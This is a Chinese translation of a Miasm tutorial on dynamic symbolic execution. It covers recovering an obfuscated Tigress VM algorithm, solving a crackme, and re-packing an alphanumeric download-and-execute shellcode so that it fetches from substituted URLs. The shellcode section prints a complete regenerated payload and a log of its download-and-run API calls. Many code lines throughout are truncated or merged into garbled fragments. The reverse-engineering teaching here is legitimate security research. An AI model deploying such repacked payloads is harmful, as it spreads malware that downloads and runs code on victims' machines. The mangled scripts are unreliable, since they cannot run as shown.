動(dòng)態(tài)動(dòng)態(tài)動(dòng)態(tài)執(zhí)行(DSE)是目前廣泛使用的強(qiáng)大分析方法,通常用于以下情況:
代碼服務(wù)范圍
創(chuàng)建輸入和測(cè)試用例
創(chuàng)建Exploit
直接fuzzing
檢查跨境訪問(wèn)
自動(dòng)破解me
算法重構(gòu)
反混淆
.
雖然Miasm不是實(shí)現(xiàn)此功能的第一個(gè)工具,但向main branch添加其他功能只是時(shí)間問(wèn)題,因?yàn)樗鼭M足了實(shí)現(xiàn)DSE的所有必要條件。
本文檔介紹了一些示例,以及如何使用簡(jiǎn)單的API在腳本中使用DSE。
從混淆的程序中恢復(fù)它的算法。
不反向進(jìn)行,重用別人的外殼
自動(dòng)破解me
概述:
使用DSE的崩潰教程
TigressVM
運(yùn)行程序
添加DSE
深入研究
反轉(zhuǎn)一個(gè)shell代碼
提高代碼復(fù)蓋范圍-krack me
概述
創(chuàng)建新輸入
自動(dòng)檢測(cè)
最后的想法
相關(guān)資源
此分析基于1fb3326版本的Miasm
使用DSE的崩潰教程
動(dòng)態(tài)符號(hào)執(zhí)行(DSE,也稱為concolic execution)在符號(hào)執(zhí)行中使用特定值。這些符號(hào)執(zhí)行可以防止回路引起的路徑爆炸,并在表達(dá)式太復(fù)雜或系統(tǒng)調(diào)用生成值時(shí)為符號(hào)提供特定值。
此方法一次只考慮一個(gè)路徑。輸入約束隨著程序路徑的不斷擴(kuò)展而不斷增加,路徑結(jié)束時(shí),通過(guò)反轉(zhuǎn)其中一個(gè)約束來(lái)到達(dá)新的代碼路徑。
接下來(lái),我舉個(gè)例子來(lái)介紹DSE。
請(qǐng)考慮以下代碼。
Int func(int arg) {
arg=1;
If (arg0xFF==0x12) {
Arg=13
}
Return arg
}
首先,我將使用名為arg=0的特定值執(zhí)行第一個(gè)代碼。
接下來(lái),執(zhí)行一次符號(hào)執(zhí)行,然后得到以下表達(dá)式:
0: ARG=ARG 1
1: (ARG0xFF==0x12)?2 : 4-表達(dá)式未解決!
表達(dá)式未解析,因此符號(hào)執(zhí)行不會(huì)執(zhí)行到函數(shù)結(jié)束。當(dāng)然,在這里我們可以使用其他方法,例如執(zhí)行多路徑符號(hào),但這不是這個(gè)例子的重點(diǎn)。
在此階段,通過(guò)使用特定值執(zhí)行符號(hào)執(zhí)行,而不考慮條件,已經(jīng)有了條件輸出(即可能的路徑)。
接下來(lái),反轉(zhuǎn)條件。也就是說(shuō),假設(shè)(ARG0xFF==0x12)不成立,或者(ARG0xFF!=0x12),向條件執(zhí)行狀態(tài)添加新條件。接下來(lái),我們統(tǒng)一稱這些條件為約束。
執(zhí)行最終結(jié)束,返回ARG 1。這樣就可以得到這個(gè)代碼。(ARG0xFF!=0x12)時(shí)返回ARG 1。代碼可能會(huì)混淆,但我們不需要使用這種方法根據(jù)需要查看代碼。
你認(rèn)為這就是全部嗎?用DSE可以做更多的事!可以使用SMT解釋器反轉(zhuǎn)路徑的約束。假設(shè)求解器回答滿足條件(ARG0xFF==0x12)的ARG=0x123412。
對(duì)輸入執(zhí)行這些操作后,獲得了新的路徑和新的結(jié)果。(ARG0xFF==0x12)如果程式碼片段傳回ARG 14
以上是程序生成新輸入以到達(dá)新代碼區(qū)域的所有過(guò)程。這種方法經(jīng)常在網(wǎng)絡(luò)安全挑戰(zhàn)賽中使用,通過(guò)配置新的輸入,使代碼達(dá)到模糊測(cè)試無(wú)法達(dá)到的地方,提高模糊測(cè)試的效果。
模糊測(cè)試在測(cè)試輸入時(shí)確實(shí)非常快,但遇到“復(fù)雜條件”時(shí),例如比較輸入和幻值(譯者注:事先約定的幾個(gè)固定字節(jié)沒(méi)有那么有效)。幸運(yùn)的是,這正是DSE的優(yōu)點(diǎn)。
TigressVM
接下來(lái),使用該技術(shù)修復(fù)混淆的算法。我們使用的例子來(lái)自J. Salwan的Tigress。
整個(gè)Tigress由多個(gè)程序組成,這些程序接受命令行參數(shù)并通過(guò)算法輸出值。
運(yùn)行程序
>首先,我們寫個(gè)腳本用Miasm來(lái)運(yùn)行這個(gè)程序。PR #515可以讓我們模擬運(yùn)行Linux二進(jìn)制文件的環(huán)境。
from mia import Sandbox_Linux_x86_64
# Create sandbox
parser = Sandbox_Linux_x86_64.parser(description="ELF sandboxer")
("filename", help="ELF Filename")
options = ()
# Force environment simulation
o = True
# Dummy argument: 123456789
o = ["".join(chr(0x30 + i) for i in xrange(1, 10))]
# Instantiate and run
sb = Sandbox_Linux_x86_64, options, globals())
()
現(xiàn)在啟動(dòng)這個(gè)程序會(huì)報(bào)錯(cuò),因?yàn)閟trtoul這個(gè)樁還沒(méi)有插入程序中。
$ python tigress-0-challenge-0
[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539
VALUEError: ('unknown api', '0x71111012L', "'xxx_strtoul'")
接下來(lái)我們手動(dòng)實(shí)現(xiàn)一個(gè)strtoul。
def xxx_strtoul(jitter):
ret_ad, args = ji(["nptr", "endptr", "base"])
assert args.endptr == 0
content = ji)
value = int(content, args.base)
print "%r -> %d" % (content, value)
ji(ret_ad, value)
寫好strtoul后,再次運(yùn)行程序,這次程序直接崩潰了。原因是這個(gè)函數(shù)使用了??臻g,所以我們要模擬棧操作(段+內(nèi)存管理)
from mia import PAGE_READ
...
# Init stack canary
= True
FS_0_ADDR = 0x7ff70000
= 0x4
(, FS_0_ADDR)
(
FS_0_ADDR + 0x28, PAGE_READ, "\x42\x42\x42\x42\x42\x42\x42\x42", "Stack canary FS[0x28]")
我們還需要支持128位的操作,所以我們會(huì)使用llvmjitter(python也可以,但會(huì)比較慢)
o = "llvm"
寫好這些后,程序就能正常運(yùn)行了。
$ python tigress-0-challenge-0
[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539
[INFO]: xxx_strtoul(nptr=0x13ffec, endptr=0x0, base=0xa) ret addr: 0x400660
'123456789' -> 123456789
[INFO]: xxx_printf(fmt=0x400dbd) ret addr: 0x4006b4
82131118
$ ./tigress-0-challenge-0 123456789
82131118
添加DSE
接下來(lái),我們需要用輸入建立一個(gè)輸出值的等式
也就是說(shuō),我們需要把strtoul的返回值"符號(hào)化",并取得printf第二個(gè)參數(shù)的等式。
要做到這一步,我們需要在strtoul的末尾,把DSE引擎附加到j(luò)itter。在附加之后,Miasm會(huì)自動(dòng)通知符號(hào)引擎具體值的狀態(tài),收集約束,檢查符號(hào)執(zhí)行是否與具體狀態(tài)相同等等。
首先,實(shí)例化DSEEngine對(duì)象,用它向外部API中插入我們的代碼(像沙盒一樣)
from mia import DSEEngine
dse = DSEEngine)
d, globals())
接下來(lái),在strtoul的末尾把DSE對(duì)象附加到j(luò)itter,把所有寄存器的值設(shè)置為具體值(我們不需要追蹤它們的值)最后把返回值賦值給符號(hào)
from mia import ExprId
VALUE = ExprId("VALUE", 64)
def xxx_strtoul(jitter):
global dse
...
ji(ret_ad, value)
d(jitter)
d()
d({
d: VALUE,
})
這個(gè)腳本的執(zhí)行時(shí)間會(huì)有點(diǎn)長(zhǎng)。運(yùn)行到后面還會(huì)報(bào)錯(cuò),這時(shí)我們看一下xxx_printf_symb這個(gè)函數(shù),它是printf的樁函數(shù)。
別被嚇到了,我們只需要查看它的第二個(gè)參數(shù)。
def xxx_printf_symb(dse):
result = d)
print result
raise RuntimeError("Exit")
最后我們得到下面這個(gè)復(fù)雜的等式。
({(VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1) 0 64, ((VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64] 0 64, (({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64]
把VALUE=123456789代進(jìn)去算一下,用assert關(guān)鍵字把它的值斷言為和具體值一樣。
from mia import ExprId, ExprInt
...
def xxx_printf_symb(dse):
result = d)
print result
obtained = d({VALUE: ExprInt(123456789, 64)}))
print obtained
assert int(obtained) ==
raise RuntimeError("Exit")
可以發(fā)現(xiàn),這一次的輸入令我們的等式成立了。
在J. Salwan用來(lái)對(duì)結(jié)果進(jìn)行驗(yàn)證的多個(gè)測(cè)試用例上運(yùn)行,我們可以獲得同樣的準(zhǔn)確率。(下一個(gè)例子涉及到信號(hào)處理,為簡(jiǎn)單起見(jiàn),這里就不介紹了)
深入研究
不出所料,我們的公式對(duì)于VM-0的Challenge-2是不成立的。
通過(guò)用同一模塊中的 DSEPathConstraint 類替換DSEEngine類,可以讓Miasm跟蹤路徑上的約束。
from mia import DSEPathConstraint
dse = DSEPathConstraint)
這些約束會(huì)存放在z3.Solver對(duì)象上,我們可以通過(guò)d來(lái)對(duì)他們進(jìn)行訪問(wèn)(然后是d.assertions)。
不過(guò)這個(gè)對(duì)象能做的不僅僅是這些,根據(jù)produce_solution選項(xiàng)的不同,它可以實(shí)現(xiàn)不同的功能,幾個(gè)選項(xiàng)如下:
PRODUCE_SOLUTION_CODE_COV
PRODUCE_SOLUTION_BRANCH_COV,
PRODUCE_SOLUTION_PATH_COV
它會(huì)為試著為每塊沒(méi)走過(guò)的代碼段,CFG分支和CFG路徑分別生成一個(gè)新的反例。
默認(rèn)情況下,這個(gè)方法會(huì)在 new_solutions 這個(gè)屬性中存放多個(gè)(solution identifier 和其對(duì)應(yīng)的輸入)。
這些方案可以通過(guò)重寫 produce_solution(判斷是否應(yīng)該生成新的求解器)和handle_solution(將結(jié)果求解器模型轉(zhuǎn)化成新的解法)進(jìn)行擴(kuò)展
所以,在這個(gè)例子中,用默認(rèn)選項(xiàng)(code coverage)運(yùn)行腳本后,程序就返回一些(新目標(biāo),解決方案):
>>> d
{
ExprInt(0x4007D4, 64): set([[VALUE = 608420]]),
ExprInt(0x4007BF, 64): set([[VALUE = 455188096],
[VALUE = 6333]])
}
事實(shí)上,我們可以根據(jù)錯(cuò)誤的輸入值對(duì)公式的輸出值進(jìn)行驗(yàn)證,除了6333(兩條不同的路徑可以產(chǎn)生相同的結(jié)果)
進(jìn)一步來(lái)說(shuō),通過(guò)重寫handle_solution并找到對(duì)應(yīng)的路徑約束,然后根據(jù)對(duì)應(yīng)的公式用新的值重新模擬這個(gè)過(guò)程,我們就可以還原最初的約束(if(cond)會(huì)影響到產(chǎn)生的公式)條件。
example/symbol_exec 這個(gè)例子可以用作這種方法的入門學(xué)習(xí)。
在模糊測(cè)試中,我們可以用這些值作為新的輸入來(lái)到達(dá)新的代碼段。
逆向一個(gè)加殼的shellcode
還記得這個(gè)shellcode嗎?
提醒一下,這個(gè)shellcode通篇只有字母和數(shù)字,它實(shí)際上有一個(gè)自修改的樁(self-modifying stub)可在適當(dāng)位置對(duì)真正的shellcode進(jìn)行脫殼。
shellcode中的樁程序會(huì)在跳轉(zhuǎn)到真正的payload之前運(yùn)行兩個(gè)解密循環(huán),而真正的shellcode會(huì)下載并執(zhí)行指定程序。
劇透:我們會(huì)使用DSE來(lái)獲得一個(gè)類似的shellcode,但是是從一個(gè)受控制的URL上下載下來(lái)的。
首先,我們運(yùn)行一個(gè)腳本來(lái)加載這個(gè)shellcode(起碼到達(dá)初始進(jìn)入點(diǎn))。
from mia import Machine
from mia import PAGE_READ, PAGE_WRITE# Init and map the shellcodedata = open(";).read()
machine = Machine("x86_32")
jitter = mac()
addr_sc = 0x400000
ji(addr_sc, PAGE_READ|PAGE_WRITE, data, "Shellcode")# Init environment: stack, and EAX on the en()
ji = addr_sc# Add a breakpoint before the OEPdef jump_on_oep(jitter):
print "OEP reached!"
return False
ji(addr_sc + 0x4b, jump_on_oep)# Launch the ji(addr_sc)
ji()
首先要獲得存儲(chǔ)初始狀態(tài)函數(shù)的結(jié)果的方程。要做到這一步,我們會(huì)使用DSE引擎,在內(nèi)存中符號(hào)化初始的shellcode,符號(hào)化的內(nèi)存范圍可以通過(guò) symbolize_memory 函數(shù)指定。
from mia import DSEEngine
from mia import interval
...# Init the dsedse = DSEEngine(machine)# Add a breakpoint before the OEP...# Init jitter context and DSEji(addr_sc)
d(jitter)
d()
d(interval([(addr_sc, addr_sc + len(data) - 1)]))# Launch the jitterji()
這樣就可以獲取0x42th處的等式了。
from mia import *
print d(ExprMem(ExprInt(addr_sc + 0x42, 32), 8))
也就是:(MEM_0x400053^(MEM_0x400052*0x10))
MEM_ 是DSE引擎用于表示符號(hào)化addr處的內(nèi)存而創(chuàng)建的符號(hào),這個(gè)符號(hào)可以通過(guò) d(addr) 函數(shù)獲得。
從我們先前的分析來(lái)看,最終的內(nèi)存由樁程序,下載并執(zhí)行的payload,以u(píng)nicode編碼的URLs和一些無(wú)用的字節(jié)組成。
要想達(dá)成我們的目的,需要保留最終的payload和更新URL,也就是說(shuō),我們會(huì)把最終狀態(tài)設(shè)置為和內(nèi)存中在0x368字節(jié)處(stub+payload),以及接下來(lái)我們更新過(guò)URL。
要完成上述目標(biāo),我們先用 DSEPathConstraint 這個(gè)對(duì)象來(lái)保存路徑約束。
from mia import DSEPathConstraint
...
dse = DSEPathConstraint(machine, produce_solution=False)
接下來(lái),用我們的URL構(gòu)建我們期望的內(nèi)存布局。
...
ji()
# Force final state
memory = ji(addr_sc, 0x368)
# > url == garbage
urls = [";, ";]
memory += "\x00".join(urls) + "\x00\x00"
注意,這個(gè)腳本也可以用來(lái)修改payload...
現(xiàn)在,把最終狀態(tài)設(shè)為內(nèi)存布局那樣。
for i, c in enumerate(memory):
addr = addr_sc + i
exp = ExprMem(ExprInt(addr, 32), 8)
value = ExprInt(ord(c), 8)
eq = d(exp)
# Constraint the result of the equation at address "addr" (in "eq") to be
# equal to our custom memory byte "value"
eaff = ExprAff(eq, value)
d.add(eaff))
在這個(gè)階段,用求解器計(jì)算一下結(jié)果:
d.check()
model = d.model()
out = ""
for addr in xrange(addr_sc, addr_sc + len(data)):
x = model.eval(d(addr)))
try:
out += chr())
except:
# No constraint on this input, let's use an arbitrary value
out += "A"
但等等,如果看一看結(jié)果的字節(jié),我們就會(huì)發(fā)現(xiàn)它不僅僅是由字母和數(shù)字構(gòu)成!
是的,我們從來(lái)沒(méi)有限制輸入是字母和數(shù)字。這個(gè)問(wèn)題很好解決。
import z3
def force_alphanum(x):
""" Force x in [A-Za-z0-9] """
constraint = []
# Integer con(x <= ord('9'), x >= ord('0')))
# Uppercase con(x <= ord('Z'), x >= ord('A')))
# Lowercase con(x <= ord('z'), x >= ord('a')))
return z3.Or(*constraint)
...# Force alphanumfor addr in xrange(addr_sc, addr_sc + len(data)):
z3_addr = d(d(addr))
d.add(force_alphanum(z3_addr))# Get the solution...
最終我們得到了新鮮出爐的shellcode。
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
用前面一篇文章中的腳本,對(duì)shellcode是否正確進(jìn)行一下驗(yàn)證:
...
[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000018, 0x1000, 0x0, 0x0) ret addr: 0x401161
[INFO]: kernel32_CreateProcessW(0x20000018, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5
...
[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000026, 0x1000, 0x0, 0x0) ret addr: 0x401161
[INFO]: kernel32_CreateProcessW(0x20000026, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5
...
完美!
這不是魔法:這只是一個(gè)自解壓的樁程序,不依賴數(shù)據(jù)流和控制流。例如,使用了壓縮的樁程序不會(huì)只有這么點(diǎn)代碼。
提高覆蓋率-破解crackme
目標(biāo)程序是example/sample,對(duì)應(yīng)的腳本是example/symbol_exec
概述
這個(gè)crackme的主要流程是,從文件中加載一個(gè)key,然后運(yùn)行幾個(gè)測(cè)試用例。這些測(cè)試用例包括:
文件長(zhǎng)度的限制
算術(shù)溢出的測(cè)試(2 * buf[7] == 14) && (buf[7] != 7)
magic值的測(cè)試(不適合獨(dú)立的fuzzer)
基于表實(shí)現(xiàn)的一個(gè)CRC16的值
最終的目的是輸出"OK"。
我們會(huì)使用公用的提高覆蓋率的策略:
運(yùn)行某個(gè)輸入
記錄哪些分支沒(méi)被執(zhí)行以及相關(guān)的約束
解析并為這些分支產(chǎn)生一個(gè)新的輸入
回到步驟1
這樣,輸入就會(huì)逐漸地?cái)U(kuò)展到新的代碼塊上(也就是說(shuō),在越來(lái)越多的測(cè)試用例下走向成功)
腳本d是實(shí)現(xiàn)這個(gè)例子的代碼,不過(guò)這超出了本文的范圍。
建立新的輸入
正如前面看到的,我們使用了DSE引擎來(lái)追蹤路徑約束,使用的是下面這些熟悉的代碼:
# Instanciate the DSE engine
machine = Machine("x86_64")
dse = DSE(machine)
# Attach to the jitter
d)
# Update the jitter state. df is read, but never set
# Approaches: specific or generic
# - Specific:
# df_value = ExprInt.cpu.df, d)
# d({
# d: df_value
# })
# - Generic
d()
在這一步中,進(jìn)行模擬會(huì)導(dǎo)致程序跳轉(zhuǎn)到一個(gè)未知的地址,事實(shí)上,在具體執(zhí)行的時(shí)候,對(duì)__libc_start_main的調(diào)用是作為樁程序來(lái)使用的(見(jiàn)miasm2/os_de)。但要想使DSE工作,還需要把它符號(hào)化。
在這里,我們實(shí)現(xiàn)了這個(gè)程序的一個(gè)原始版本。我們使用"_symb"后綴作為命令約定。
def xxx___libc_start_main_symb(dse):
# ['RDI', 'RSI', 'RDX', 'RCX', 'R8', 'R9']
# main, argc, argv, ...
regs = d
top_stack = d)
main_addr = d)
argc = d)
argv = d)
hlt_addr = ExprInt(0x1337beef, 64)
d({
ExprMem(top_stack, 64): hlt_addr,
regs.RDI: argc,
regs.RSI: argv,
d: main_addr,
d: main_addr,
})
我們可以通過(guò)add_handler函數(shù)把這一函數(shù)注冊(cè)到 __libc_start_main 的地址中去。(相當(dāng)于加了一個(gè)斷點(diǎn))。
但為了減輕工作量,我們可以使用:
# Register symbolic stubs for extern functions (xxx_puts_symb, ...)
d, globals())
用這行代碼,Miasm會(huì)使用當(dāng)前腳本中定義的這個(gè)函數(shù),自動(dòng)為imports進(jìn)行注冊(cè)。這和沙盒執(zhí)行時(shí)的機(jī)制是一樣的。
要繼續(xù)執(zhí)行程序,接下來(lái)我們需要FILE相關(guān)的函數(shù)。我們定義了一個(gè)SymbolicFile類,它可以使用一個(gè)具體的size和nmemb參數(shù)對(duì)文件進(jìn)行讀取,并返回符號(hào)化的byte。
我們也實(shí)現(xiàn)了相關(guān)的函數(shù):
xxx_fopen_symb
xxx_fread_symb
xxx_fclose_symb
它們的實(shí)現(xiàn)很簡(jiǎn)單,這里就不介紹了。主要功能就是,讀取文件并返回字節(jié),當(dāng)然,文件大小也是用符號(hào)表示。
最后,調(diào)用puts來(lái)顯示"BAD"或"OK"。一旦程序運(yùn)行到這里,執(zhí)行就停止了。
要做到這點(diǎn),并保存最終的結(jié)果(BAD或OK),在puts樁程序中,我們需要raise一個(gè)exception。
# Stop the execution on puts and get back the corresponding stringclass FinishOn(Exception):
def __init__(self, string):
= string
super(FinishOn, self).__init__()
def xxx_puts_symb(dse):
string = dse.ji)
raise FinishOn(string)
現(xiàn)在,我們可以從程序的開(kāi)始,到最終的puts,都保持DSE運(yùn)行.下一步就是產(chǎn)生新的輸入了。
當(dāng) DSEPathConstraint 對(duì)象可以解出到達(dá)新分支的約束時(shí),它的handle_solution 函數(shù)就會(huì)被調(diào)用。這個(gè)函數(shù)接收相關(guān)的z3模型以及新的目標(biāo)作為參數(shù)。一個(gè)解可以重寫這一方法來(lái)生成新的解。
我們也可以使用與new_solutions屬性中的新的解相關(guān)的模型.(見(jiàn)上面)
然后重用目前的策略來(lái)生成的新的輸入。例如,我們使用代碼覆蓋的策略來(lái)生成新的輸入以到達(dá)之前沒(méi)到達(dá)過(guò)的代碼段。
strategy = DSEPa Other possibilities:# strategy = DSEPa strategy = DSEPa = DSEPathConstraint(machine, produce_solution=strategy)
在程序執(zhí)行到最后時(shí),我們就必須建立與計(jì)算出的解(new_solutions的屬性值)相對(duì)應(yīng)的文件內(nèi)容,并保存它們,為之后做準(zhǔn)備.
finfo = FILE_to_info_symb[FILE_stream]
for sol_ident, model in d.iteritems():
# Build the file corresponding to solution in 'model'
out = ""
fsize = max(FILE_size)).as_long(),
len))
for index in xrange(fsize):
try:
byteid = [index]
out += chr(byteid)).as_long())
except (KeyError, AttributeError) as _:
# Default value if there is no constraint on current byte
out += "\x00"
# Save solution for later use
(out)
在這一步,我們可以運(yùn)行文件中的二進(jìn)制程序,并為每個(gè)分支生成新的輸入。
自動(dòng)探測(cè)
我們現(xiàn)在需要做的就是自動(dòng)探測(cè)所有的解。首先,我們需要恢復(fù)兩次實(shí)驗(yàn)之間的狀態(tài)。
相關(guān)的DSE功能是它的快照功能。因?yàn)橐4嬉焉傻慕?避免為已探測(cè)的代碼段生成新的解-keep_known_solutions選項(xiàng)設(shè)置為true:
## Save the current clean state, before any computation of the FILE contentsnapshot = d()
...
d(snapshot, keep_known_solutions=True)
所以,我們先建立一個(gè)空文件:
todo = set([""]) # Set of file contents to test
現(xiàn)在,只要還有候選輸入,我們不斷進(jìn)行下述步驟:
獲取文件內(nèi)容中的候選輸入
把它們打印出來(lái)以觀察它們的演變
恢復(fù)clean狀態(tài)
運(yùn)行附加了DSE的程序
最后,如果得到一個(gè)合法的解,就使用break跳出程序。否則,把新的輸入添加到候選輸入集合中,并從步驟1開(kāi)始。
相關(guān)代碼很簡(jiǎn)單:
while todo:
# Prepare a solution to try, based on the clean state
file_content = ()
print "CUR: %r" % file_content
open, "w").write(file_content)
d(snapshot, keep_known_solutions=True)
FILE_()
FILE_()
# Play the current file
try:
()
except FinishOn as finish_info:
if == "OK":
# Stop if the expected result is found
found = True
break
# Get new candidates
finfo = FILE_to_info_symb[FILE_stream]
for sol_ident, model in d.iteritems():
# Build the file corresponding to solution in 'model'
...
(out)
啟動(dòng)這個(gè)最終的腳本,得到下列輸出:
CUR: ''
BAD
CUR: '\x00'
BAD
CUR: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M\x00\x00\x00\x00\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M!@$M\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00'
BAD
CUR: 'M!@$MN\x0e\x87\xb1}\nN\xc60\xe7'
OK
FOUND !
我們可以觀察到上面這些檢查點(diǎn),分別是:
檢查文件大小
檢查第一個(gè)字節(jié)(等于'M')
分別在兩個(gè)測(cè)試用例(x!=7,2*x==14)中檢查溢出
檢查magic值
檢查CRC16的值(必須等于1337)
我們可以用已得到的結(jié)果來(lái)檢查結(jié)果是否正確:
$ hexdump -C
